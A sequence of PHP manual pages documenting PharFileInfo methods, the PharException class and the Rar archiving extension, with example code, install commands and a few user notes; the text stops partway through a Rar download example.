  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data
  • Phar::getMetadata() - Returns phar archive meta-data

User Contributed Notes

There are no user contributed notes for this page.


Returns CRC32 code or throws an exception if CRC has not been verified

  • « PharFileInfo::delMetadata
  • PharFileInfo::getCompressedSize »
  • PHP Manual
  • PharFileInfo
  • Returns CRC32 code or throws an exception if CRC has not been verified

PharFileInfo::getCRC32

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::getCRC32 — Returns CRC32 code or throws an exception if CRC has not been verified

Description

public int PharFileInfo::getCRC32 ( void )

This returns the crc32() checksum of the file within the Phar archive.

Return Values

The crc32() checksum of the file within the Phar archive.

Errors/Exceptions

Throws BadMethodCallException if the file has not yet had its CRC32 verified. This should be impossible with normal use, as the CRC is verified upon opening the file for reading or writing.

Examples

Example #1 A PharFileInfo::getCRC32() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    echo $file->getCRC32();
} catch (Exception $e) {
    echo 'Write operations on my.phar.phar failed: ', $e;
}
?>

The above example will output:

3633523372

User Contributed Notes

There are no user contributed notes for this page.


Returns the actual size of the file (with compression) inside the Phar archive

  • « PharFileInfo::getCRC32
  • PharFileInfo::getMetadata »
  • PHP Manual
  • PharFileInfo
  • Returns the actual size of the file (with compression) inside the Phar archive

PharFileInfo::getCompressedSize

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::getCompressedSize — Returns the actual size of the file (with compression) inside the Phar archive

Description

public int PharFileInfo::getCompressedSize ( void )

This returns the size of the file within the Phar archive. Uncompressed files will return the same value for getCompressedSize as they will with filesize()

Return Values

The size in bytes of the file within the Phar archive on disk.

Examples

Example #1 A PharFileInfo::getCompressedSize() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    echo $file->getCompressedSize();
} catch (Exception $e) {
    echo 'Write operations failed on my.phar: ', $e;
}
?>

The above example will output:

2

See Also

  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::compressFiles() - Compresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Returns file-specific meta-data saved with a file

  • « PharFileInfo::getCompressedSize
  • PharFileInfo::getPharFlags »
  • PHP Manual
  • PharFileInfo
  • Returns file-specific meta-data saved with a file

PharFileInfo::getMetadata

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::getMetadata — Returns file-specific meta-data saved with a file

Description

public mixed PharFileInfo::getMetadata ( void )

Return meta-data that was saved in the Phar archive's manifest for this file.

Parameters

Return Values

any PHP variable that can be serialized and is stored as meta-data for the file, or NULL if no meta-data is stored.

Examples

Example #1 A PharFileInfo::getMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.txt'] = 'hello';
    $p['file.txt']->setMetadata(array('user' => 'bill', 'mime-type' => 'text/plain'));
    var_dump($p['file.txt']->getMetadata());
} catch (Exception $e) {
    echo 'Could not create/modify brandnewphar.phar: ', $e;
}
?>

The above example will output:

array(2) {
  ["user"]=>
  string(4) "bill"
  ["mime-type"]=>
  string(10) "text/plain"
}

See Also

  • PharFileInfo::setMetadata() - Sets file-specific meta-data saved with a file
  • PharFileInfo::hasMetadata() - Returns the metadata of the entry
  • PharFileInfo::delMetadata() - Deletes the metadata of the entry
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data
  • Phar::getMetadata() - Returns phar archive meta-data

User Contributed Notes

There are no user contributed notes for this page.


Returns the Phar file entry flags

  • « PharFileInfo::getMetadata
  • PharFileInfo::hasMetadata »
  • PHP Manual
  • PharFileInfo
  • Returns the Phar file entry flags

PharFileInfo::getPharFlags

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::getPharFlags — Returns the Phar file entry flags

Description

public int PharFileInfo::getPharFlags ( void )

This returns the flags set in the manifest for a Phar. This will always return 0 in the current implementation.

Return Values

The Phar flags (always 0 in the current implementation)

Examples

Example #1 A PharFileInfo::getPharFlags() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    var_dump($file->getPharFlags());
} catch (Exception $e) {
    echo 'Could not create/modify my.phar: ', $e;
}
?>

The above example will output:

int(0)

User Contributed Notes

There are no user contributed notes for this page.


Returns the metadata of the entry

  • « PharFileInfo::getPharFlags
  • PharFileInfo::isCRCChecked »
  • PHP Manual
  • PharFileInfo
  • Returns the metadata of the entry

PharFileInfo::hasMetadata

(PHP >= 5.3.0, PECL phar >= 1.2.0)

PharFileInfo::hasMetadata — Returns the metadata of the entry

Description

public bool PharFileInfo::hasMetadata ( void )

Returns the metadata of a file within a phar archive.

Parameters

No parameters.

Return Values

Returns FALSE if no metadata is set or is NULL, TRUE if metadata is not NULL

See Also

  • PharFileInfo::setMetadata() - Sets file-specific meta-data saved with a file
  • PharFileInfo::getMetadata() - Returns file-specific meta-data saved with a file
  • PharFileInfo::delMetadata() - Deletes the metadata of the entry
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data
  • Phar::getMetadata() - Returns phar archive meta-data

User Contributed Notes

There are no user contributed notes for this page.


Returns whether file entry has had its CRC verified

  • « PharFileInfo::hasMetadata
  • PharFileInfo::isCompressed »
  • PHP Manual
  • PharFileInfo
  • Returns whether file entry has had its CRC verified

PharFileInfo::isCRCChecked

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::isCRCChecked — Returns whether file entry has had its CRC verified

Description

public bool PharFileInfo::isCRCChecked ( void )

This returns whether a file within a Phar archive has had its CRC verified.

Return Values

TRUE if the file has had its CRC verified, FALSE if not.

Examples

Example #1 A PharFileInfo::isCRCChecked() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    var_dump($file->isCRCChecked());
} catch (Exception $e) {
    echo 'Create/modify operations failed on my.phar: ', $e;
}
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the entry is compressed

  • « PharFileInfo::isCRCChecked
  • PharFileInfo::isCompressedBZIP2 »
  • PHP Manual
  • PharFileInfo
  • Returns whether the entry is compressed

PharFileInfo::isCompressed

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::isCompressed — Returns whether the entry is compressed

Description

public bool PharFileInfo::isCompressed ([ int $compression_type = 9021976 ] )

This returns whether a file is compressed within a Phar archive with either Gzip or Bzip2 compression.

Parameters

compression_type

One of Phar::GZ or Phar::BZ2, defaults to any compression.

Return Values

TRUE if the file is compressed within the Phar archive, FALSE if not.

Examples

Example #1 A PharFileInfo::isCompressed() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $p['myfile2.txt'] = 'hi';
    $p['myfile2.txt']->setCompressedGZ();
    $file = $p['myfile.txt'];
    $file2 = $p['myfile2.txt'];
    var_dump($file->isCompressed());
    var_dump($file2->isCompressed());
} catch (Exception $e) {
    echo 'Create/modify on phar my.phar failed: ', $e;
}
?>

The above example will output:

bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::compressFiles() - Compresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the entry is compressed using bzip2

  • « PharFileInfo::isCompressed
  • PharFileInfo::isCompressedGZ »
  • PHP Manual
  • PharFileInfo
  • Returns whether the entry is compressed using bzip2

PharFileInfo::isCompressedBZIP2

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::isCompressedBZIP2 — Returns whether the entry is compressed using bzip2

Description

public bool PharFileInfo::isCompressedBZIP2 ( void )

Note:

This method has been removed from the phar extension as of version 2.0.0. Alternative implementations are available using PharFileInfo::isCompressed(), PharFileInfo::decompress(), and PharFileInfo::compress().

This returns whether a file is compressed within a Phar archive with Bzip2 compression.

Return Values

TRUE if the file is compressed within the Phar archive using Bzip2, FALSE if not.

Examples

Example #1 A PharFileInfo::isCompressedBZIP2() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $p['myfile2.txt'] = 'hi';
    $p['myfile3.txt'] = 'hi';
    $p['myfile2.txt']->setCompressedGZ();
    $p['myfile3.txt']->setCompressedBZIP2();
    $file = $p['myfile.txt'];
    $file2 = $p['myfile2.txt'];
    $file3 = $p['myfile3.txt'];
    var_dump($file->isCompressedBZIP2());
    var_dump($file2->isCompressedBZIP2());
    var_dump($file3->isCompressedBZIP2());
} catch (Exception $e) {
    echo 'Create/modify on phar my.phar failed: ', $e;
}
?>

The above example will output:

bool(false)
bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the entry is compressed using gz

  • « PharFileInfo::isCompressedBZIP2
  • PharFileInfo::setCompressedBZIP2 »
  • PHP Manual
  • PharFileInfo
  • Returns whether the entry is compressed using gz

PharFileInfo::isCompressedGZ

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::isCompressedGZ — Returns whether the entry is compressed using gz

Description

public bool PharFileInfo::isCompressedGZ ( void )

Note:

This method has been removed from the phar extension as of version 2.0.0. Alternative implementations are available using PharFileInfo::isCompressed(), PharFileInfo::decompress(), and PharFileInfo::compress().

This returns whether a file is compressed within a Phar archive with Gzip compression.

Return Values

TRUE if the file is compressed within the Phar archive using Gzip, FALSE if not.

Examples

Example #1 A PharFileInfo::isCompressedGZ() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $p['myfile2.txt'] = 'hi';
    $p['myfile3.txt'] = 'hi';
    $p['myfile2.txt']->setCompressedGZ();
    $p['myfile3.txt']->setCompressedBZIP2();
    $file = $p['myfile.txt'];
    $file2 = $p['myfile2.txt'];
    $file3 = $p['myfile3.txt'];
    var_dump($file->isCompressedGZ());
    var_dump($file2->isCompressedGZ());
    var_dump($file3->isCompressedGZ());
} catch (Exception $e) {
    echo 'Create/modify on phar my.phar failed: ', $e;
}
?>

The above example will output:

bool(false)
bool(true)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Compresses the current Phar entry within the phar using Bzip2 compression

  • « PharFileInfo::isCompressedGZ
  • PharFileInfo::setCompressedGZ »
  • PHP Manual
  • PharFileInfo
  • Compresses the current Phar entry within the phar using Bzip2 compression

PharFileInfo::setCompressedBZIP2

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::setCompressedBZIP2 — Compresses the current Phar entry within the phar using Bzip2 compression

Description

public bool PharFileInfo::setCompressedBZIP2 ( void )

Note:

This method has been removed from the phar extension as of version 2.0.0. Alternative implementations are available using PharFileInfo::isCompressed(), PharFileInfo::decompress(), and PharFileInfo::compress().

This method compresses the file inside the Phar archive using bzip2 compression. The bzip2 extension must be enabled to take advantage of this feature. In addition, if the file is already compressed using gzip compression, the zlib extension must be enabled in order to decompress the file. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, or if the bzip2 extension is not available.

Examples

Example #1 A PharFileInfo::setCompressedBZIP2() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    var_dump($file->isCompressedBZIP2());
    $p['myfile.txt']->setCompressedBZIP2();
    var_dump($file->isCompressedBZIP2());
} catch (Exception $e) {
    echo 'Create/modify operations on my.phar failed: ', $e;
}
?>

The above example will output:

bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Compresses the current Phar entry within the phar using gz compression

  • « PharFileInfo::setCompressedBZIP2
  • PharFileInfo::setMetadata »
  • PHP Manual
  • PharFileInfo
  • Compresses the current Phar entry within the phar using gz compression

PharFileInfo::setCompressedGZ

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::setCompressedGZ — Compresses the current Phar entry within the phar using gz compression

Description

public bool PharFileInfo::setCompressedGZ ( void )

Note:

This method has been removed from the phar extension as of version 2.0.0. Alternative implementations are available using PharFileInfo::isCompressed(), PharFileInfo::decompress(), and PharFileInfo::compress().

This method compresses the file inside the Phar archive using gzip compression. The zlib extension must be enabled to take advantage of this feature. In addition, if the file is already compressed using bzip2 compression, the bzip2 extension must be enabled in order to decompress the file. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, or if the zlib extension is not available.

Examples

Example #1 A PharFileInfo::setCompressedGZ() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    var_dump($file->isCompressedGZ());
    $p['myfile.txt']->setCompressedGZ();
    var_dump($file->isCompressedGZ());
} catch (Exception $e) {
    echo 'Create/modify operations on my.phar failed: ', $e;
}
?>

The above example will output:

bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


Sets file-specific meta-data saved with a file

  • « PharFileInfo::setCompressedGZ
  • PharFileInfo::setUncompressed »
  • PHP Manual
  • PharFileInfo
  • Sets file-specific meta-data saved with a file

PharFileInfo::setMetadata

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::setMetadata — Sets file-specific meta-data saved with a file

Description

public void PharFileInfo::setMetadata ( mixed $metadata )

PharFileInfo::setMetadata() should only be used to store customized data in a file that cannot be represented with existing information stored with a file. Meta-data can significantly slow down the performance of loading a phar archive if the data is large, or if there are many files containing meta-data. It is important to note that file permissions are natively supported inside a phar; it is possible to set them with the PharFileInfo::chmod() method. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed if the file is within a Phar archive. Files within PharData archives do not have this restriction.

Some possible uses for meta-data include passing a user/group that should be set when a file is extracted from the phar to disk. Other uses could include explicitly specifying a MIME type to return. However, any useful data that describes a file, but should not be contained inside of it may be stored.

Parameters

metadata

Any PHP variable containing information to store alongside a file

Return Values

No value is returned.

Examples

Example #1 A PharFileInfo::setMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.txt'] = 'hello';
    $p['file.txt']->setMetadata(array('user' => 'bill', 'mime-type' => 'text/plain'));
    var_dump($p['file.txt']->getMetaData());
} catch (Exception $e) {
    echo 'Could not create/modify phar: ', $e;
}
?>

The above example will output:

array(2) {
  ["user"]=>
  string(4) "bill"
  ["mime-type"]=>
  string(10) "text/plain"
}

See Also

  • PharFileInfo::hasMetadata() - Returns the metadata of the entry
  • PharFileInfo::getMetadata() - Returns file-specific meta-data saved with a file
  • PharFileInfo::delMetadata() - Deletes the metadata of the entry
  • Phar::setMetadata() - Sets phar archive meta-data
  • Phar::hasMetadata() - Returns whether phar has global meta-data
  • Phar::getMetadata() - Returns phar archive meta-data

User Contributed Notes

There are no user contributed notes for this page.


Uncompresses the current Phar entry within the phar, if it is compressed

  • « PharFileInfo::setMetadata
  • PharException »
  • PHP Manual
  • PharFileInfo
  • Uncompresses the current Phar entry within the phar, if it is compressed

PharFileInfo::setUncompressed

(PHP >= 5.3.0, PECL phar >= 1.0.0)

PharFileInfo::setUncompressed — Uncompresses the current Phar entry within the phar, if it is compressed

Description

public bool PharFileInfo::setUncompressed ( void )

Note:

This method has been removed from the phar extension as of version 2.0.0. Alternative implementations are available using PharFileInfo::isCompressed(), PharFileInfo::decompress(), and PharFileInfo::compress().

This method decompresses the file inside the Phar archive. Depending on how the file is compressed, the bzip2 or zlib extensions must be enabled to take advantage of this feature. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, or if the bzip2/zlib extension is not available.

Examples

Example #1 A PharFileInfo::setUncompressed() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $file = $p['myfile.txt'];
    $file->setCompressedGZ();
    var_dump($file->isCompressed());
    $p['myfile.txt']->setUncompressed();
    var_dump($file->isCompressed());
} catch (Exception $e) {
    echo 'Create/modify failed for my.phar: ', $e;
}
?>

The above example will output:

bool(true)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.


The PharException class

(Unknown)

Introduction

The PharException class provides a phar-specific exception class for try/catch blocks.

Class synopsis

PharException extends Exception {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Table of Contents

  • PharException — The PharException class provides a phar-specific exception class for try/catch blocks.

User Contributed Notes

There are no user contributed notes for this page.


The PharException class provides a phar-specific exception class for try/catch blocks.

  • « PharException
  • Rar »
  • PHP Manual
  • PharException
  • The PharException class provides a phar-specific exception class for try/catch blocks.

PharException

(Unknown)

PharException — The PharException class provides a phar-specific exception class for try/catch blocks.

Description

User Contributed Notes

There are no user contributed notes for this page.


Rar Archiving

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Rar Functions
    • rar_wrapper_cache_stats — Cache hits and misses for the URL wrapper
  • RarArchive — The RarArchive class
    • RarArchive::close — Close RAR archive and free all resources
    • RarArchive::getComment — Get comment text from the RAR archive
    • RarArchive::getEntries — Get full list of entries from the RAR archive
    • RarArchive::getEntry — Get entry object from the RAR archive
    • RarArchive::isBroken — Test whether an archive is broken (incomplete)
    • RarArchive::isSolid — Check whether the RAR archive is solid
    • RarArchive::open — Open RAR archive
    • RarArchive::setAllowBroken — Whether opening broken archives is allowed
    • RarArchive::__toString — Get text representation
  • RarEntry — The RarEntry class
    • RarEntry::extract — Extract entry from the archive
    • RarEntry::getAttr — Get attributes of the entry
    • RarEntry::getCrc — Get CRC of the entry
    • RarEntry::getFileTime — Get entry last modification time
    • RarEntry::getHostOs — Get entry host OS
    • RarEntry::getMethod — Get pack method of the entry
    • RarEntry::getName — Get name of the entry
    • RarEntry::getPackedSize — Get packed size of the entry
    • RarEntry::getStream — Get file handler for entry
    • RarEntry::getUnpackedSize — Get unpacked size of the entry
    • RarEntry::getVersion — Get minimum version of RAR program required to unpack the entry
    • RarEntry::isDirectory — Test whether an entry represents a directory
    • RarEntry::isEncrypted — Test whether an entry is encrypted
    • RarEntry::__toString — Get text representation of entry
  • RarException — The RarException class
    • RarException::isUsingExceptions — Check whether error handling with exceptions is in use
    • RarException::setUsingExceptions — Activate and deactivate error handling with exceptions

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Rar is a powerful and effective archiver created by Eugene Roshal. This extension gives you possibility to read Rar archives but doesn't support writing Rar archives, because this is not supported by the UnRar library and is directly prohibited by its license.

More information about Rar and UnRar can be found at » http://www.rarlabs.com/.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Rar is currently available through PECL » http://pecl.php.net/package/rar.

Also you can use the PECL installer to install the Rar extension, using the following command: pecl -v install rar.

You can always download the tar.gz package and install Rar by hand:

Example #1 Rar installation

gunzip rar-xxx.tgz
tar -xvf rar-xxx.tar
cd rar-xxx
phpize
./configure && make && make install

Windows users will enable php_rar.dll inside of php.ini in order to use these functions. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

t dot dekker at student dot utwente dot nl 04-Dec-2011 10:54
Easiest way to install the current version for PHP5 on Debian is as below. You may need additional packages if you don't have the basics like GCC installed. Also, start in a temporary directory since many junk files are created.

sudo apt-get install php5-dev dh-make-php fakeroot xsltproc
dh-make-pecl --only 5 rar
cd php-rar-3.0.0
dpkg-buildpackage
sudo dpkg -i ../php5-rar_3.0.0-1_amd64.deb
cristianbzdg at botosani dot ro 28-Nov-2010 05:21
After installing RAR 2.0.0 extension in PHP 5.3.3 on OpenSUSE 11.3 using pecl command line, i had to enable it by creating a file named
/etc/php5/conf.d/rar.ini
which contains this line
extension=rar.so


Resource Types

This extension registers three internal classes: The archive representations returned by rar_open() – RarArchive –, the entry representations returned by rar_list() and rar_entry_get() – RarEntry and the exception type RarException.

This extension also register a stream resource, called "rar" and a URL wrapper called "rar wrapper" and registered under the prefix "rar".

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

RAR_HOST_MSDOS (integer)
Use RarEntry::HOST_MSDOS instead.
RAR_HOST_OS2 (integer)
Use RarEntry::HOST_OS2 instead.
RAR_HOST_WIN32 (integer)
Use RarEntry::HOST_WIN32 instead.
RAR_HOST_UNIX (integer)
Use RarEntry::HOST_UNIX instead.
RAR_HOST_BEOS (integer)
Use RarEntry::HOST_BEOS instead.

User Contributed Notes

There are no user contributed notes for this page.


Examples

See also the examples under rar:// wrapper.

Example #1 On-the-fly decompression

<?php

if (!array_key_exists("i", $_GET) || !is_numeric($_GET["i"]))
    die("Index unspecified or non-numeric");
$index = (int) $_GET["i"];

$arch = RarArchive::open("example.rar");
if ($arch === FALSE)
    die("Cannot open example.rar");

$entries = $arch->getEntries();
if ($entries === FALSE)
    die("Cannot retrieve entries");

if (!array_key_exists($index, $entries))
    die("No such index: $index");

$orfilename = $entries[$index]->getName(); //UTF-8 encoded

$filesize = $entries[$index]->getUnpackedSize();

/* you could check HTTP_IF_MODIFIED_SINCE here and compare with
 * $entries[$index]->getFileTime(). You could also send a
 * "Last modified" header */

$fp = $entries[$index]->getStream();
if ($fp === FALSE)
    die("Cannot open file with index $index insided the archive.");

$arch->close(); //no longer needed; stream is independent

function detectUserAgent() {
    if (!array_key_exists('HTTP_USER_AGENT', $_SERVER))
        return "Other";

    $uas = $_SERVER['HTTP_USER_AGENT'];
    if (preg_match("@Opera/@", $uas))
        return "Opera";
    if (preg_match("@Firefox/@", $uas))
        return "Firefox";
    if (preg_match("@Chrome/@", $uas))
        return "Chrome";
    if (preg_match("@MSIE ([0-9.]+);@", $uas, $matches)) {
        if (((float)$matches[1]) >= 7.0)
            return "IE";
    }

    return "Other";
}

/*
 * We have 3 options:
 * - For FF and Opera, which support RFC 2231, use that format.
 * - For IE and Chrome, use attwithfnrawpctenclong
 *   (http://greenbytes.de/tech/tc2231/#attwithfnrawpctenclong)
 * - For the others, convert to ISO-8859-1, if possible
 */
$formatRFC2231 = 'Content-Disposition: attachment; filename*=UTF-8\'\'%s';
$formatDef = 'Content-Disposition: attachment; filename="%s"';

switch (detectUserAgent()) {
    case "Opera":
    case "Firefox":
        $orfilename = rawurlencode($orfilename);
        $format = $formatRFC2231;
        break;

    case "IE":
    case "Chrome":
        $orfilename = rawurlencode($orfilename);
        $format = $formatDef;
        break;
    default:
        if (function_exists('iconv'))
            $orfilename =
                @iconv("UTF-8", "ISO-8859-1//TRANSLIT", $orfilename);
        $format = $formatDef;
}

header(sprintf($format, $orfilename));
